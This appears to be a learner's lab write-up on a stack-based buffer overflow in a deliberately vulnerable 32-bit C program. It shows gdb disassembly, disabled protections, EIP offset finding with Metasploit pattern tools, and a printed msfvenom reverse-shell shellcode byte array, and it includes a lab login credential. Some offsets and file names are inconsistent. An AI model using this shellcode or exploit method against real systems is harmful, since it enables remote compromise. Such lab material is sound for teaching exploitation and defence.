PRACTICAL EXERCISES

These are hands-on challenges presented at the end of each module to reinforce newly learned concepts. These tasks require learners to immediately apply techniques discussed in the lesson, ensuring they understand how the theory translates into real-world offensive or defensive operations. By engaging directly with simulated environments, users build muscle memory, identify gaps in understanding, and develop confidence in executing the skills before moving on.

STACK-BASED BUFFER OVERFLOW

At which address in the "main" function is the "bowfunc" function called?

METHOD 1:

student@htb:~$ ssh [email protected]
 htb-student:HTB_@cademy_stdnt!
student@htb:~$ gdb -q ./stackBasedBufferOverflow
 Reading symbols from bow...(no debugging symbols found)...done.

//set display to intel syntax
(gdb) set disassembly-flavor intel

(gdb) info functions
 All defined functions:

 Non-debugging symbols:
 0x00000398  _init
 0x000003d0  strcpy@plt
 0x000003e0  puts@plt
 0x000003f0  __libc_start_main@plt
 0x00000400  __cxa_finalize@plt
 0x00000408  __gmon_start__@plt
 0x00000410  _start
 0x00000450  __x86.get_pc_thunk.bx
 0x00000460  deregister_tm_clones
 0x000004a0  register_tm_clones
 0x000004f0  __do_global_dtors_aux
 0x00000540  frame_dummy
 0x00000549  __x86.get_pc_thunk.dx
 0x0000054d  bowfunc
 0x00000582  main
 0x000005d3  __x86.get_pc_thunk.ax
 0x000005e0  __libc_csu_init
 0x00000640  __libc_csu_fini
 0x00000644  _fini

(gdb) break *main
 Breakpoint 1 at 0x582
(gdb) disassemble main
 Dump of assembler code for function main:
   0x00000582 <+0>:	    lea    ecx,[esp+0x4]
   0x00000586 <+4>:	    and    esp,0xfffffff0
   0x00000589 <+7>:	    push   DWORD PTR [ecx-0x4]
   0x0000058c <+10>:	push   ebp
   0x0000058d <+11>:	mov    ebp,esp
   0x0000058f <+13>:	push   ebx
   0x00000590 <+14>:	push   ecx
   0x00000591 <+15>:	call   0x450 <__x86.get_pc_thunk.bx>
   0x00000596 <+20>:	add    ebx,0x1a3e
   0x0000059c <+26>:	mov    eax,ecx
   0x0000059e <+28>:	mov    eax,DWORD PTR [eax+0x4]
   0x000005a1 <+31>:	add    eax,0x4
   0x000005a4 <+34>:	mov    eax,DWORD PTR [eax]
   0x000005a6 <+36>:	sub    esp,0xc
   0x000005a9 <+39>:	push   eax
   0x000005aa <+40>:	call   0x54d <bowfunc>
   0x000005af <+45>:	add    esp,0x10
   0x000005b2 <+48>:	sub    esp,0xc
   0x000005b5 <+51>:	lea    eax,[ebx-0x1974]
   0x000005bb <+57>:	push   eax
   0x000005bc <+58>:	call   0x3e0 <puts@plt>
   0x000005c1 <+63>:	add    esp,0x10
   0x000005c4 <+66>:	mov    eax,0x1
   0x000005c9 <+71>:	lea    esp,[ebp-0x8]
   0x000005cc <+74>:	pop    ecx
   0x000005cd <+75>:	pop    ebx
   0x000005ce <+76>:	pop    ebp
   0x000005cf <+77>:	lea    esp,[ecx-0x4]
   0x000005d2 <+80>:	ret    
 ---Type <return> to continue, or q <return> to quit---
 End of assembler dump.

METHOD 2: ALTERNATE

student@htb:~$ nano stackBasedBufferOverflow.c
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>

 int bowfunc(char *string) {
   char buffer[1024];
   strcpy(buffer, string);                 //strcpy is a vulnerable function as it does not perform any bounds checking on the destination buffer.
   return 1;
 }

int main(int argc, char *argv[]) 
{
  bowfunc(argv[1]);
  printf("Done.\n");
  return 1;
}

student@htb:~$ sudo apt install gcc-multilib
student@htb:~$ gcc -m32 stackBasedBufferOverflow.c -o stackBasedBufferOverflow -fno-stack-protector -z execstack
student@htb:~$ file bow32 | tr "," "\n"
 bow: ELF 32-bit LSB shared object
  Intel 80386
  version 1 (SYSV)
  dynamically linked
  interpreter /lib/ld-linux.so.2
  for GNU/Linux 3.2.0
  BuildID[sha1]=93dda6b77131deecaadf9d207fdd2e70f47e1071
  not stripped

 * gcc-multilib is a package that allows compiling 32-bit programs on a 64-bit system.
 * -fno-stack-protector disables GCC’s stack protection mechanisms such as stack canaries.
 * the -z execstack marks the program’s stack as executable
//TEMPORARILY DISABLE ASLR
student@htb:~$ sudo su
root@htb:~$ echo 0 > /proc/sys/kernel/randomize_va_space
root@htb:~$ cat /proc/sys/kernel/randomize_va_space
 0
 
 * modern OS have built-in protections against such vulnerabilities to 
   include (ASLR)
student@htb:~$ gdb -q ./stackBasedBufferOverflow
 Reading symbols from bow...(no debugging symbols found)...done.

//set display to intel syntax
(gdb) set disassembly-flavor intel

(gdb) info functions
 All defined functions:

 Non-debugging symbols:
 0x00000398  _init
 0x000003d0  strcpy@plt
 0x000003e0  puts@plt
 0x000003f0  __libc_start_main@plt
 0x00000400  __cxa_finalize@plt
 0x00000408  __gmon_start__@plt
 0x00000410  _start
 0x00000450  __x86.get_pc_thunk.bx
 0x00000460  deregister_tm_clones
 0x000004a0  register_tm_clones
 0x000004f0  __do_global_dtors_aux
 0x00000540  frame_dummy
 0x00000549  __x86.get_pc_thunk.dx
 0x0000054d  bowfunc
 0x00000582  main
 0x000005d3  __x86.get_pc_thunk.ax
 0x000005e0  __libc_csu_init
 0x00000640  __libc_csu_fini
 0x00000644  _fini

(gdb) break *main
 Breakpoint 1 at 0x582
(gdb) disassemble main
 Dump of assembler code for function main:
   0x00000582 <+0>:	    lea    ecx,[esp+0x4]
   0x00000586 <+4>:	    and    esp,0xfffffff0
   0x00000589 <+7>:	    push   DWORD PTR [ecx-0x4]
   0x0000058c <+10>:	push   ebp
   0x0000058d <+11>:	mov    ebp,esp
   0x0000058f <+13>:	push   ebx
   0x00000590 <+14>:	push   ecx
   0x00000591 <+15>:	call   0x450 <__x86.get_pc_thunk.bx>
   0x00000596 <+20>:	add    ebx,0x1a3e
   0x0000059c <+26>:	mov    eax,ecx
   0x0000059e <+28>:	mov    eax,DWORD PTR [eax+0x4]
   0x000005a1 <+31>:	add    eax,0x4
   0x000005a4 <+34>:	mov    eax,DWORD PTR [eax]
   0x000005a6 <+36>:	sub    esp,0xc
   0x000005a9 <+39>:	push   eax
   0x000005aa <+40>:	call   0x54d <bowfunc>
   0x000005af <+45>:	add    esp,0x10
   0x000005b2 <+48>:	sub    esp,0xc
   0x000005b5 <+51>:	lea    eax,[ebx-0x1974]
   0x000005bb <+57>:	push   eax
   0x000005bc <+58>:	call   0x3e0 <puts@plt>
   0x000005c1 <+63>:	add    esp,0x10
   0x000005c4 <+66>:	mov    eax,0x1
   0x000005c9 <+71>:	lea    esp,[ebp-0x8]
   0x000005cc <+74>:	pop    ecx
   0x000005cd <+75>:	pop    ebx
   0x000005ce <+76>:	pop    ebp
   0x000005cf <+77>:	lea    esp,[ecx-0x4]
   0x000005d2 <+80>:	ret    
 ---Type <return> to continue, or q <return> to quit---
 End of assembler dump.

TAKE CONTROL OF EIP

Examine the registers and submit the address of EBP as the answer. Rephrased question: Given the 32-bit binary bow32 which contains a vulnerable function that copies user input into a fixed-size stack buffer without bounds checking. Your task is to examine the program in a controlled debugging environment to determine the saved base pointer (EBP) after a buffer overflow.
METHOD 2: ALTERNATE
student@htb:~$ nano bow32.c
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>

 int bowfunc(char *string) {
   char buffer[1024];
   strcpy(buffer, string);                 //strcpy is a vulnerable function as it does not perform any bounds checking on the destination buffer.
   return 1;
 }

int main(int argc, char *argv[]) 
{
  bowfunc(argv[1]);
  printf("Done.\n");
  return 1;
}

student@htb:~$ sudo apt install gcc-multilib
student@htb:~$ gcc -m32 stackBasedBufferOverflow.c -o stackBasedBufferOverflow -fno-stack-protector -z execstack
student@htb:~$ file bow32 | tr "," "\n"
 bow: ELF 32-bit LSB shared object
  Intel 80386
  version 1 (SYSV)
  dynamically linked
  interpreter /lib/ld-linux.so.2
  for GNU/Linux 3.2.0
  BuildID[sha1]=93dda6b77131deecaadf9d207fdd2e70f47e1071
  not stripped

 * gcc-multilib is a package that allows compiling 32-bit programs on a 64-bit system.
 * -fno-stack-protector disables GCC’s stack protection mechanisms such as stack canaries.
 * the -z execstack marks the program’s stack as executable
student@htb:~$ gdb -q bow32
 Reading symbols from bow32...
 (No debugging symbols found in bow32)

(gdb) run $(python -c "print('\x55' * 1200)")
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 Starting program: /home/htb-ac-53539/bow32 $(python -c "print('\x55' * 1200)")
 [Thread debugging using libthread_db enabled]
 Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

 Program received signal SIGSEGV, Segmentation fault.
 0x55555555 in ?? ()

(gdb) info registers 
 eax            0x1                 1
 ecx            0xffffd260          -11680
 edx            0xffffcba2          -13406
 ebx            0x55555555          1431655765
 esp            0xffffcb10          0xffffcb10
 ebp            0x55555555          0x55555555
 esi            0x56558eec          1448447724
 edi            0xf7ffcb80          -134231168
 eip            0x55555555          0x55555555
 eflags         0x10286             [ PF SF IF RF ]
 cs             0x23                35
 ss             0x2b                43
 ds             0x2b                43
 es             0x2b                43
 fs             0x0                 0
 gs             0x63                99

DETERMINE THE LENGTH FOR SHELLCODE

How large can our shellcode theoretically become if we count NOPS and the shellcode size together? (Format: 00 Bytes). Rephrased question: how large will the payload area be including reserved padding/alignment
root@sre:~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1200 > pattern.txt
root@sre:~$ cat pattern.txt
 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9

root@sre:~$ gdb -q ./overwritingEIP
 Reading symbols from ./overwritingEIP...
 (No debugging symbols found in ./overwritingEIP)

(gdb) run $(python -c "print('Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9')")
 Starting program: /home/sre/overwritingEIP $(python -c "print('Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9')")
 [Thread debugging using libthread_db enabled]
 Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

 Program received signal SIGSEGV, Segmentation fault.
 0x69423569 in ?? ()

(gdb) info registers eip
 eip            0x69423569          0x69423569
 
//calculate the exact number of characters (offset) needed to advance to the EIP.
root@sre:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x69423569
 [*] Exact match at offset 1036
 
 * This means that 1036 bytes of input fill the buffer up to the location just below 
   the saved EIP, with the saved EBP occupying the 4 bytes in between. In a 32-bit 
   program, the next 4 bytes after EBP correspond to the saved return address (EIP), 
   which is where a payload can be placed to control program execution. Therefore, a 
   total of 1040 bytes of input is needed to fully overwrite EIP and position any 
   desired payload precisely at that location. This step is critical for reliably 
   controlling program flow in a stack-based buffer overflow.
    - 1040 is the total “space” you have in the stack buffer before you overwrite EIP.

//verify
root@sre:~$ python3 -c "import sys; sys.stdout.buffer.write(b'\x55'*1036 + b'\x66'*4)" > payload.bin
root@sre:~$ ls -l payload.bin
 -rw-r--r-- 1 sre sre 1040 Sep 12 20:14 payload.bin

 * Should reflect 1040 bytes
 * ALT:
      //this alternative may not work - use main method above
    - (gdb) run $(python -c "print('\x55' * 1036 + '\x66') * 4")
    
(gdb) run $(cat payload.bin)
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 Starting program: /home/htb-ac-53539/overwritingEIP $(cat payload.bin)
 [Thread debugging using libthread_db enabled]
 Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

 Program received signal SIGSEGV, Segmentation fault.
 0x66666666 in ?? ()

 * For 32-bit programs, saved return address is 4 bytes, so once the offset is known:
    - adding 4 more bytes is typically used for verification to fully overwrite EIP .
      with any desired value.
       - This ensures your payload lands exactly where it is required on the stack.
root@htb:~$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 lport=31337 --platform linux --arch x86 --format c
 No encoder specified, outputting raw payload
 Payload size: 68 bytes
 Final size of c file: 311 bytes
 unsigned char buf[] = 
 "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
 "\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00"
 "\x01\x68\x02\x00\x7a\x69\x89\xe1\xb0\x66\x50\x51\x53\xb3"
 "\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
 "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
//PAYLOAD AND SPACE FORMULA
EIP OFFSET:        1040 bytes
NOPS SLED (\x90):   100 bytes
SHELLCODE:           68 bytes
PADDING/ALIGNMENT:   82 bytes                                     
ACTUAL EIP:           4 bytes
TOTAL:             1040 bytes

 * EIP OFFSET is the buffer to saved return address
    - Distance from buffer start to saved return address (1036 bytes ESP→EBP + 4 bytes EIP)
 * NOP SLED (\x90) is padding before shellcode to ensure safe execution
    - 100 bytes of no operation instruction (NOPS) is often inserted before the 
      shellcode so that it can be executed cleanly.
 * SHELLCODE of 68 bytes is the actual payload size
 * PADDING ALIGNMENT is the extra space reserved for future adjustments
    - 82 bytes is used for future adjustment & alignment
 * total is the overall distance to EIP
    - 1040 bytes to reach EIP in this specific 32-bit program
Calculation: 
 NOP Sled (100) 
 + 
 Shellcode (68) 
 + 
 Padding/Alignment (82)
 ----------------------
 250 Bytes (space from the start of the NOP sled up to the saved return address).

IDENTIFICATION OF BAD CHARACTERS

Find all bad characters that change or interrupt our sent bytes' order and submit them as the answer (e.g., format: \x00\x11).

PERFORM DEBUGGING & ANALYSIS

IDENTIFY FIRST BAD CHARACTER

Analyze the stack & identify the first bad character. Look for the place where the CHARS start which should be after the 0x55s...

IDENTIFY SECOND BAD CHARACTER

Send payload without NULL bytes

CONTINUE IDENTIFYING BAD CHARACTERS UNTIL NONE LEFT

Send payload without "\x00" & "\x09"...repeat the process until all bad characters are identified and removed!

Continue remove bad characters

...

GENERATING SHELLCODE

Submit the size of the stack space after overwriting the EIP as the answer. (Format: 0x00000)

PERFORM DEBUGGING & ANALYSIS

IDENTIFY FIRST BAD CHARACTER

Analyze the stack & identify the first bad character. Look for the place where the CHARS start which should be after the 0x55s...

IDENTIFY SECOND BAD CHARACTER

Send payload without NULL bytes

CONTINUE IDENTIFYING BAD CHARACTERS UNTIL NONE LEFT

Send payload without "\x00" & "\x09"...repeat the process until all bad characters are identified and removed!

Continue remove bad characters

...

GENERATE SHELLCODE

Considerations:

  • Architecture

  • Platform

  • Bad Characters

RECALCULATE PAYLOAD

VERIFY & EXPLOIT

Last updated